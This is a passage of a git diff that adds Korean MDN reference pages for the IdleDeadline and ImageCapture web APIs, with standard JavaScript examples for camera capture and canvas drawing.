+<p>Boolean 으로, 콜백의 timeout 기간이 경과하여 콜백이 실행 중이면 <code>true</code> 입니다. 사용자 에이전트가 유휴 상태이고 콜백에 시간을 제공하고 있기 때문에 콜백이 실행 중이면, <code>false</code> 입니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<p><a href="/ko/docs/Web/API/Background_Tasks_API">Cooperative Scheduling of Background Tasks API</a>의 <a href="/ko/docs/Web/API/Background_Tasks_API#Example">complete example</a> 를 참조하세요</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Background Tasks")}}</td>
+   <td>{{Spec2("Background Tasks")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.IdleDeadline.didTimeout")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Background_Tasks_API">Collaborative Scheduling of Background Tasks</a></li>
+ <li>{{domxref("IdleDeadline")}}</li>
+ <li>{{domxref("Window.requestIdleCallback()")}}</li>
+ <li>{{domxref("Window.cancelIdleCallback()")}}</li>
+</ul>
diff --git a/files/ko/web/api/idledeadline/index.html b/files/ko/web/api/idledeadline/index.html
new file mode 100644
index 0000000000..0ebb461482
--- /dev/null
+++ b/files/ko/web/api/idledeadline/index.html
@@ -0,0 +1,66 @@
+---
+title: IdleDeadline
+slug: Web/API/IdleDeadline
+translation_of: Web/API/IdleDeadline
+---
+<div>{{APIRef("Background Tasks")}}</div>
+
+<div id="interface_description">
+<p><code>IdleDeadline</code> 인터페이스는 {{domxref("Window.requestIdleCallback()")}}을 호출하여 설정된 유휴 콜백(idle callback)에 대한 입력 매개변수(parameter)의 데이터 타입으로 사용됩니다. {{domxref("IdleDeadline.timeRemaining", "timeRemaining()")}} 메서드를 제공하여 사용자 에이전트가 유휴 상태로있을 것으로 추정하는 시간과 속성(property)인 {{domxref("IdleDeadline.didTimeout", "didTimeout")}}을 결정할 수있게하여, timeout 기간이 만료되어 콜백이 실행 중인지 여부를 결정할 수 있습니다.</p>
+
+<p>request callback이 작동하는 방식에 대해 자세히알아 보려면, <a href="/ko/docs/Web/API/Background_Tasks_API">Collaborative Scheduling of Background Tasks</a> 문서를 읽어보세요.</p>
+</div>
+
+<h2 id="Properties">Properties</h2>
+
+<dl id="property_definitions">
+ <dt>{{domxref("IdleDeadline.didTimeout")}} {{ReadOnlyInline}}</dt>
+ <dd>유휴 콜백을 구현할 때 지정한 timeout이 만료되었음에도 콜백이 실행중인 경우, 값이 true인 Boolean 입니다.</dd>
+</dl>
+
+<h2 id="methods" name="methods">Methods</h2>
+
+<dl id="method_definitions">
+ <dt>{{domxref("IdleDeadline.timeRemaining()")}}</dt>
+ <dd>현재 유휴 기간(idle period)에 남아있는 밀리초 수를 예측하는 부동 소수점 값인 {{domxref("DOMHighResTimeStamp")}}를 반환합니다. 유휴 기간이 끝나면 값은 0 입니다. 우리의 콜백은 이것을 반복적으로 호출하여, 반환하기 전에 더 많은 작업을 할 수 있는 충분한 시간이 있는지 확인할 수 있습니다.</dd>
+</dl>
+
+<dl id="method_definitions_obsolete">
+</dl>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<p><a href="/ko/docs/Web/API/Background_Tasks_API">Cooperative Scheduling of Background Tasks API</a>의 <a href="/ko/docs/Web/API/Background_Tasks_API#Example">complete example</a>를 참조하세요.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Background Tasks")}}</td>
+   <td>{{Spec2("Background Tasks")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.IdleDeadline")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Background_Tasks_API">Cooperative Scheduling of Background Tasks API</a></li>
+ <li>{{domxref("Window.requestIdleCallback()")}}</li>
+ <li>{{domxref("Window.cancelIdleCallback()")}}</li>
+</ul>
diff --git a/files/ko/web/api/imagecapture/getphotocapabilities/index.html b/files/ko/web/api/imagecapture/getphotocapabilities/index.html
new file mode 100644
index 0000000000..9ee855a96d
--- /dev/null
+++ b/files/ko/web/api/imagecapture/getphotocapabilities/index.html
@@ -0,0 +1,79 @@
+---
+title: ImageCapture.getPhotoCapabilities()
+slug: Web/API/ImageCapture/getPhotoCapabilities
+tags:
+  - API
+  - Experimental
+  - ImageCapture
+  - MediaStream Image Capture API
+  - Method
+  - Reference
+translation_of: Web/API/ImageCapture/getPhotoCapabilities
+---
+<div>{{APIRef("MediaStream Image")}}</div>
+
+<p><span class="seoSummary">{{domxref("ImageCapture")}} 인터페이스의 <strong><code>getPhotoCapabilities()</code></strong> 메서드는 사용 가능한 설정 옵션을 담은 {{domxref("PhotoCapabilities")}} 객체로 이행하는 {{jsxref("Promise")}}를 반환합니다.</span></p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>capabilitiesPromise</em> = <em>imageCaptureObj</em>.getPhotoCapabilities()</pre>
+
+<h3 id="반환_값"><span style='font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 1.375rem;'>반환 값</span></h3>
+
+<p>{{domxref("PhotoCapabilities")}} 객체로 이행하는 {{jsxref("Promise")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 <a href="https://googlechrome.github.io/samples/image-capture/photo-resolution.html">Chrome의 Image Capture / Photo Resolution Sample</a>에서 가져온 코드로, <code>getPhotoCapabilities()</code>를 사용해 범위 입력 칸의 크기를 수정합니다. 또한 장치의 {{domxref("MediaStream")}}에서 가져온 {{domxref("MediaStreamTrack")}} 객체를 사용해 {{domxref("ImageCapture")}} 객체를 생성하는 부분도 포함하고 있습니다.</p>
+
+<pre class="brush: js">const input = document.querySelector('input[type="range"]');
+
+var imageCapture;
+
+navigator.mediaDevices.getUserMedia({video: true})
+.then(mediaStream =&gt; {
+  document.querySelector('video').srcObject = mediaStream;
+
+  const track = mediaStream.getVideoTracks()[0];
+  imageCapture = new ImageCapture(track);
+
+  return imageCapture.getPhotoCapabilities();
+})
+.then(photoCapabilities =&gt; {
+  const settings = imageCapture.track.getSettings();
+
+  input.min = photoCapabilities.imageWidth.min;
+  input.max = photoCapabilities.imageWidth.max;
+  input.step = photoCapabilities.imageWidth.step;
+
+  return imageCapture.getPhotoSettings();
+})
+.then(photoSettings =&gt; {
+  input.value = photoSettings.imageWidth;
+})
+.catch(error =&gt; console.log('Argh!', error.name || error));</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('MediaStream Image','#dom-imagecapture-getphotocapabilities','getPhotoCapabilities()')}}</td>
+   <td>{{Spec2('MediaStream Image')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.ImageCapture.getPhotoCapabilities")}}</p>
+</div>
diff --git a/files/ko/web/api/imagecapture/getphotosettings/index.html b/files/ko/web/api/imagecapture/getphotosettings/index.html
new file mode 100644
index 0000000000..b82bd7290d
--- /dev/null
+++ b/files/ko/web/api/imagecapture/getphotosettings/index.html
@@ -0,0 +1,86 @@
+---
+title: ImageCapture.getPhotoSettings()
+slug: Web/API/ImageCapture/getPhotoSettings
+tags:
+  - API
+  - Experimental
+  - ImageCapture
+  - MediaStream Image Capture API
+  - Method
+  - Reference
+translation_of: Web/API/ImageCapture/getPhotoSettings
+---
+<div>{{APIRef("MediaStream Image")}}</div>
+
+<p><span class="seoSummary">{{domxref("ImageCapture")}} 인터페이스의 <strong><code>getPhotoSettings()</code></strong> 메서드는 현재 촬영 설정을 담은 {{domxref("PhotoSettings")}} 객체로 이행하는 {{jsxref("Promise")}}를 반환합니다.</span></p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>settingsPromise</em> = <em>imageCapture</em>.getPhotoSettings()</pre>
+
+<h3 id="반환_값"><span style='font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 1.375rem;'>반환 값</span></h3>
+
+<p>다음의 속성으로 구성된 {{domxref("PhotoSettings")}} 객체로 이행하는 {{jsxref("Promise")}}.</p>
+
+<ul>
+ <li><code>fillLightMode</code>: 캡처 장치의 플래시 설정. <code>"auto"</code>, <code>"off"</code>, <code>"flash"</code> 중 하나를 사용할 수 있습니다.</li>
+ <li><code>imageHeight</code>: 원하는 이미지 크기의 높이를 나타내는 정숫값. 일련의 정해진 크기만 지원하는 경우, {{glossary("user agent", "사용자 에이전트")}}는 이 값과 제일 가까운 높이를 사용합니다.</li>
+ <li><code>imageWidth</code>: 원하는 이미지 크기의 너비를 나타내는 정숫값. 일련의 정해진 크기만 지원하는 경우, 사용자 에이전트는 이 값과 제일 가까운 너비를 사용합니다.</li>
+ <li><code>redEyeReduction</code>: 적목 현상 감소 기능이 존재하는 경우, 사용할지 나타내는 불리언 값.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 <a href="https://googlechrome.github.io/samples/image-capture/photo-resolution.html">Chrome의 Image Capture / Photo Resolution Sample</a>에서 가져온 코드로, <code>getPhotoCapabilities()</code>를 사용해 범위 입력 칸의 크기를 수정합니다. 또한 장치의 {{domxref("MediaStream")}}에서 가져온 {{domxref("MediaStreamTrack")}} 객체를 사용해 {{domxref("ImageCapture")}} 객체를 생성하는 부분도 포함하고 있습니다.</p>
+
+<pre class="brush: js"><code>const input = document.querySelector('input[type="range"]');
+
+var imageCapture;
+
+navigator.mediaDevices.getUserMedia({video: true})
+.then(mediaStream =&gt; {
+  document.querySelector('video').srcObject = mediaStream;
+
+  const track = mediaStream.getVideoTracks()[0];
+  imageCapture = new ImageCapture(track);
+
+  return imageCapture.getPhotoCapabilities();
+})
+.then(photoCapabilities =&gt; {
+  const settings = imageCapture.track.getSettings();
+
+  input.min = photoCapabilities.imageWidth.min;
+  input.max = photoCapabilities.imageWidth.max;
+  input.step = photoCapabilities.imageWidth.step;
+
+  return imageCapture.getPhotoSettings();
+})
+.then(photoSettings =&gt; {
+  input.value = photoSettings.imageWidth;
+})
+.catch(error =&gt; console.log('Argh!', error.name || error));</code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('MediaStream Image','#dom-imagecapture-getphotosettings','getPhotoSettings()')}}</td>
+   <td>{{Spec2('MediaStream Image')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.ImageCapture.getPhotoSettings")}}</p>
+</div>
diff --git a/files/ko/web/api/imagecapture/grabframe/index.html b/files/ko/web/api/imagecapture/grabframe/index.html
new file mode 100644
index 0000000000..3a0b53ff05
--- /dev/null
+++ b/files/ko/web/api/imagecapture/grabframe/index.html
@@ -0,0 +1,73 @@
+---
+title: ImageCapture.grabFrame()
+slug: Web/API/ImageCapture/grabFrame
+tags:
+  - API
+  - Experimental
+  - ImageCapture
+  - MediaStream Image Capture API
+  - Method
+  - Reference
+translation_of: Web/API/ImageCapture/grabFrame
+---
+<div>{{APIRef("MediaStream Image")}}</div>
+
+<p><span class="seoSummary">{{domxref("ImageCapture")}} 인터페이스의 <strong><code>grabFrame()</code></strong> 메서드는 {{domxref("MediaStreamTrack")}}의 라이브 비디오에서 스냅샷을 찍고, 그 결과를 담은 {{domxref("ImageBitmap")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.</span></p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>bitmapPromise</em> = <em>imageCapture</em>.grabFrame()
+</pre>
+
+<h3 id="반환_값"><span style='font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 1.375rem;'>반환 값</span></h3>
+
+<p>{{domxref("ImageBitmap")}} 객체로 이행하는 {{jsxref("Promise")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 <a href="https://simpl.info/imagecapture/">Simple Image Capture 데모</a>에서 가져온 것으로, <code>grabFrame()</code>이 반환한 {{jsxref("Promise")}}의 {{domxref("ImageBitmap")}}을 사용해 {{htmlelement("canvas")}} 요소에 할당하는 방법을 보입니다. 코드를 짧게 유지하기 위해 {{domxref("ImageCapture")}} 객체의 초기화 과정은 생략했습니다.</p>
+
+<pre class="brush: js">var grabFrameButton = document.querySelector('button#grabFrame');
+var canvas = document.querySelector('canvas');
+
+grabFrameButton.onclick = grabFrame;
+
+function grabFrame() {
+  imageCapture.grabFrame()
+  .then(function(imageBitmap) {
+    console.log('Grabbed frame:', imageBitmap);
+    canvas.width = imageBitmap.width;
+    canvas.height = imageBitmap.height;
+    canvas.getContext('2d').drawImage(imageBitmap, 0, 0);
+    canvas.classList.remove('hidden');
+  })
+  .catch(function(error) {
+    console.log('grabFrame() error: ', error);
+  });
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('MediaStream Image','#dom-imagecapture-grabframe','grabFrame()')}}</td>
+   <td>{{Spec2('MediaStream Image')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.ImageCapture.grabFrame")}}</p>
+</div>
diff --git a/files/ko/web/api/imagecapture/imagecapture/index.html b/files/ko/web/api/imagecapture/imagecapture/index.html
new file mode 100644
index 0000000000..34841fe2d2
--- /dev/null
+++ b/files/ko/web/api/imagecapture/imagecapture/index.html
@@ -0,0 +1,67 @@
+---
+title: ImageCapture() 생성자
+slug: Web/API/ImageCapture/ImageCapture
+tags:
+  - API
+  - Constructor
+  - Experimental
+  - ImageCapture
+  - MediaStream Image Capture API
+  - Reference
+translation_of: Web/API/ImageCapture/ImageCapture
+---
+<div>{{APIRef("MediaStream Image")}}</div>
+
+<p><span class="seoSummary"><strong><code>ImageCapture()</code></strong> 생성자는 새로운 {{domxref("ImageCapture")}} 객체를 생성합니다.</span></p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>imageCapture</em> = new ImageCapture(<em>videoTrack</em>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>videoTrack</code></dt>
+ <dd>이미지를 가져올 때 사용할 {{domxref("MediaStreamTrack")}}. 화상전화 스트림, 재생 중인 영화, 웹캠 스트림 등 모든 출처를 사용할 수 있습니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>지정한 비디오 트랙에서 정지 프레임을 캡처할 수 있는 <code>ImageCapture</code> 객체.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 {{domxref("MediaDevices.getUserMedia()")}}을 사용해, <code>ImageCapture()</code> 생성자에 필요한 {{domxref("MediaStreamTrack")}}을 가져오는 법을 보입니다.</p>
+
+<pre class="brush: js"> navigator.mediaDevices.getUserMedia({video: true})
+  .then(mediaStream =&gt; {
+    document.querySelector('video').srcObject = mediaStream
+    const track = mediaStream.getVideoTracks()[0];
+    imageCapture = new ImageCapture(track);
+  })
+  .catch(error =&gt; console.log(error));</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('MediaStream Image','#dom-imagecapture-imagecapture','ImageCapture')}}</td>
+   <td>{{Spec2('MediaStream Image')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.ImageCapture.ImageCapture")}}</p>
+</div>
diff --git a/files/ko/web/api/imagecapture/index.html b/files/ko/web/api/imagecapture/index.html
new file mode 100644
index 0000000000..4e96539bc1
--- /dev/null
+++ b/files/ko/web/api/imagecapture/index.html
@@ -0,0 +1,123 @@
+---
+title: ImageCapture
+slug: Web/API/ImageCapture
+tags:
+  - API
+  - Experimental
+  - ImageCapture
+  - Interface
+  - MediaStream Image Capture API
+  - Reference
+translation_of: Web/API/ImageCapture
+---
+<div>{{APIRef("MediaStream Image")}}</div>
+
+<p><a href="/ko/docs/Web/API/MediaStream_Image_Capture_API">MediaStream Image Capture API</a>의 <strong><code>ImageCapture</code></strong> 인터페이스는 유효한 {{domxref("MediaStreamTrack")}}이 참조하는 카메라 또는 기타 촬영 장치를 통해 이미지나 사진을 촬영하기 위한 메서드를 제공합니다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("ImageCapture.ImageCapture()", "ImageCapture()")}}</dt>
+ <dd>비디오 스트림을 나타내는 {{domxref("MediaStreamTrack")}}에서 정지 프레임(사진)을 캡처하기 위한 <code>ImageCapture</code> 객체를 반환합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("ImageCapture.track")}} {{readonlyinline}}</dt>
+ <dd>생성자에 전달한 {{domxref("MediaStreamTrack")}}의 참조를 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><code>ImageCapture</code> 인터페이스는 {{domxref("EventTarget")}}의 메서드를 상속하며, 다음 메서드도 포함합니다.</p>
+
+<dl>
+ <dt>{{domxref("ImageCapture.takePhoto()")}}</dt>
+ <dd>{{domxref("MediaStreamTrack")}}의 출처 비디오 캡처 장치를 통해 단일 노출 촬영을 한 후, 그 데이터를 담은 {{domxref("Blob")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.</dd>
+ <dt>{{domxref("ImageCapture.getPhotoCapabilities()")}}</dt>
+ <dd>가능한 설정 옵션을 담은 {{domxref("PhotoCapabilities")}} 객체로 이행하는 {{jsxref("Promise")}}를 반환합니다.</dd>
+ <dt>{{domxref("ImageCapture.getPhotoSettings()")}}</dt>
+ <dd>현재 사진 설정을 담은 {{domxref("PhotoSettings")}} 객체로 이행하는 {{jsxref("Promise")}}를 반환합니다.</dd>
+ <dt>{{domxref("ImageCapture.grabFrame()")}}</dt>
+ <dd>{{domxref("MediaStreamTrack")}}의 라이브 비디오에서 스냅샷을 찍은 후, 성공했으면 {{domxref("ImageBitmap")}}을 반환합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 코드는 <a href="https://googlechrome.github.io/samples/image-capture/grab-frame-take-photo.html">Chrome의 Grab Frame - Take Photo Sample</a>에서 가져온 것입니다. <code>ImageCapture</code>는 이미지를 캡처할 도구가 필요하므로, 다음 예제는 브라우저 단말기의 미디어 장치(카메라)로 시작합니다.</p>
+
+<p>이 예제는 {{domxref("MediaStream")}}으로부터 추출한 {{domxref("MediaStreamTrack")}}부터 시작합니다. 그 다음엔 해당 트랙을 사용해 <code>takePhoto()</code>와 <code>grabFrame()</code>을 호출할 <code>ImageCapture</code> 객체를 생성합니다. 마침내, 최종 결과를 캔버스 객체에 적용합니다.</p>
+
+<pre class="brush: js">var imageCapture;
+
+function onGetUserMediaButtonClick() {
+  navigator.mediaDevices.getUserMedia({video: true})
+  .then(mediaStream =&gt; {
+    document.querySelector('video').srcObject = mediaStream;
+
+    const track = mediaStream.getVideoTracks()[0];
+    imageCapture = new ImageCapture(track);
+  })
+  .catch(error =&gt; console.log(error));
+}
+
+function onGrabFrameButtonClick() {
+  imageCapture.grabFrame()
+  .then(imageBitmap =&gt; {
+    const canvas = document.querySelector('#grabFrameCanvas');
+    drawCanvas(canvas, imageBitmap);
+  })
+  .catch(error =&gt; console.log(error));
+}
+
+function onTakePhotoButtonClick() {
+  imageCapture.takePhoto()
+  .then(blob =&gt; createImageBitmap(blob))
+  .then(imageBitmap =&gt; {
+    const canvas = document.querySelector('#takePhotoCanvas');
+    drawCanvas(canvas, imageBitmap);
+  })
+  .catch(error =&gt; console.log(error));
+}
+
+/* Utils */
+
+function drawCanvas(canvas, img) {
+  canvas.width = getComputedStyle(canvas).width.split('px')[0];
+  canvas.height = getComputedStyle(canvas).height.split('px')[0];
+  let ratio  = Math.min(canvas.width / img.width, canvas.height / img.height);
+  let x = (canvas.width - img.width * ratio) / 2;
+  let y = (canvas.height - img.height * ratio) / 2;
+  canvas.getContext('2d').clearRect(0, 0, canvas.width, canvas.height);
+  canvas.getContext('2d').drawImage(img, 0, 0, img.width, img.height,
+      x, y, img.width * ratio, img.height * ratio);
+}
+
+document.querySelector('video').addEventListener('play', function() {
+  document.querySelector('#grabFrameButton').disabled = false;
+  document.querySelector('#takePhotoButton').disabled = false;
+});</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('MediaStream Image','#imagecaptureapi','ImageCapture')}}</td>
+   <td>{{Spec2('MediaStream Image')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.ImageCapture")}}</p>
diff --git a/files/ko/web/api/imagecapture/takephoto/index.html b/files/ko/web/api/imagecapture/takephoto/index.html
new file mode 100644
index 0000000000..ac7fd39f3d
--- /dev/null
+++ b/files/ko/web/api/imagecapture/takephoto/index.html
@@ -0,0 +1,82 @@
+---
+title: ImageCapture.takePhoto()
+slug: Web/API/ImageCapture/takePhoto
+tags:
+  - API
+  - Experimental
+  - ImageCapture
+  - MediaStream Image Capture
+  - Method
+  - Reference
+translation_of: Web/API/ImageCapture/takePhoto
+---
+<div>{{APIRef("MediaStream Image")}}</div>
+
+<p><span class="seoSummary">{{domxref("ImageCapture")}} 인터페이스의<strong> <code>takePhoto()</code></strong> 메서드는 {{domxref("MediaStreamTrack")}}을 제공하는 비디오 캡처 장치를 사용해 단일 노출 촬영을 하고, 그 데이터를 담은 {{domxref("Blob")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.</span></p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>blobPromise</em> = <em>imageCaptureObj</em>.takePhoto([<em>photoSettings</em>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>photoSettings</code> {{optional_inline}}</dt>
+ <dd>사진을 촬영할 때 사용할 옵션을 나타내는 객체. 가능한 옵션은 다음과 같습니다.
+ <ul>
+  <li><code>fillLightMode</code>: 캡처 장치의 플래시 설정. <code>"auto"</code>, <code>"off"</code>, <code>"flash"</code> 중 하나를 사용할 수 있습니다.</li>
+  <li><code>imageHeight</code>: 원하는 이미지 크기의 높이를 나타내는 정숫값. 일련의 정해진 크기만 지원하는 경우, {{glossary("user agent", "사용자 에이전트")}}는 이 값과 제일 가까운 높이를 사용합니다.</li>
+  <li><code>imageWidth</code>: 원하는 이미지 크기의 너비를 나타내는 정숫값. 일련의 정해진 크기만 지원하는 경우, 사용자 에이전트는 이 값과 제일 가까운 너비를 사용합니다.</li>
+  <li><code>redEyeReduction</code>: 적목 현상 감소 기능이 존재하는 경우, 사용할지 나타내는 불리언 값.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{domxref("Blob")}}으로 이행하는 {{jsxref("Promise")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 코드는 <a href="https://simpl.info/imagecapture/">Simple Image Capture 데모</a>에서 가져온 것으로, <code>takePhoto()</code>가 반환한 {{jsxref("Promise")}}의 {{domxref("Blob")}}을 사용해 {{htmlelement("img")}} 요소에 할당하는 방법을 보입니다. 코드를 짧게 유지하기 위해 {{domxref("ImageCapture")}} 객체의 초기화 과정은 생략했습니다.</p>
+
+<pre class="brush: js">var takePhotoButton = document.querySelector('button#takePhoto');
+var canvas = document.querySelector('canvas');
+
+takePhotoButton.onclick = takePhoto;
+
+function takePhoto() {
+  imageCapture.takePhoto().then(function(blob) {
+    console.log('Took photo:', blob);
+    img.classList.remove('hidden');
+    img.src = URL.createObjectURL(blob);
+  }).catch(function(error) {
+    console.log('takePhoto() error: ', error);
+  });
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('MediaStream Image','#dom-imagecapture-takephoto','takePhoto()')}}</td>
+   <td>{{Spec2('MediaStream Image')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.ImageCapture.takePhoto")}}</p>
+</div>
diff --git a/files/ko/web/api/imagecapture/track/index.html b/files/ko/web/api/imagecapture/track/index.html
new file mode 100644
index 0000000000..0cab8caacf
--- /dev/null
+++ b/files/ko/web/api/imagecapture/track/index.html
@@ -0,0 +1,49 @@
+---
+title: ImageCapture.track
+slug: Web/API/ImageCapture/track
+tags:
+  - API
+  - Experimental
+  - ImageCapture
+  - MediaStream Image Capture
+  - Property
+  - Read-only
+  - Reference
+translation_of: Web/API/ImageCapture/track
+---
+<div>{{APIRef("MediaStream Image")}}</div>
+
+<p>{{domxref("ImageCapture")}} 인터페이스의 <strong><code>track</code></strong> 읽기 전용 속성은 {{domxref("ImageCapture.ImageCapture","ImageCapture()")}} 생성자에 제공한 {{domxref("MediaStreamTrack")}}의 참조를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>mediaStreamTrack</em> = <em>imageCaptureObj</em>.track</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("MediaStreamTrack")}} 객체.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('MediaStream Image','#dom-imagecapture-track','track')}}</td>
+   <td>{{Spec2('MediaStream Image')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.ImageCapture.track")}}</p>
+</div>
diff --git a/files/ko/web/api/imagedata/index.html b/files/ko/web/api/imagedata/index.html
new file mode 100644
index 0000000000..fb7beec45e
--- /dev/null
+++ b/files/ko/web/api/imagedata/index.html
@@ -0,0 +1,134 @@
+---
+title: ImageData
+slug: Web/API/ImageData
+translation_of: Web/API/ImageData
+---
+<div>{{APIRef("Canvas API")}}</div>
+
+<p><code><strong>ImageData</strong></code> 인터페이스는 {{HTMLElement("canvas")}} 엘리먼트 영역의 기저의 픽셀데이터를 나타냅니다{{domxref("ImageData.ImageData", "ImageData()")}}생성자나 canvas객체에 연결된 {{domxref("CanvasRenderingContext2D")}}객체의 {{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}}나 {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}}메소드로 생성할 수 있습니다. <strong><font face="Courier New">ImageData</font></strong>는 {{domxref("CanvasRenderingContext2D.putImageData", "putImageData()")}}의 인자로 전달할 수 있으며, 이를 통해 canvas의 일부로 반영할 수 있습니다.</p>
+
+<h2 id="Constructors">Constructors</h2>
+
+<dl>
+ <dt>{{domxref("ImageData.ImageData", "ImageData()")}} {{experimental_inline}}</dt>
+ <dd>인자로 주어진 {{jsxref("Uint8ClampedArray")}}로 부터 해당 크기에 맞는 ImageData객체를 생성합니다. 만약 인자가 주어지지 않으면 검정색 사각형 이미지를 생성합니다. {{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}}는 worker에서 사용할 수 없기 때문에, ImageData의 생성자를 이용하는 것이 가장 일반적인 방법입니다.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("ImageData.data")}} {{readonlyInline}}</dt>
+ <dd>{{jsxref("Uint8ClampedArray")}}형식이며 1차원 배열로 RGBA순서로 정의된 이미지 데이터를 나타내니다. 각 원소는 정수값으로 0에서 255사이의 값을 갖습니다.</dd>
+ <dt>{{domxref("ImageData.height")}} {{readonlyInline}}</dt>
+ <dd>unsigned long형식으로 ImageData의 pixel기준의 실제 높이값입니다.</dd>
+ <dt>{{domxref("ImageData.width")}} {{readonlyInline}}</dt>
+ <dd>unsigned long형식으로 ImageData의 pixel기준의 실제 가로값입니다.</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
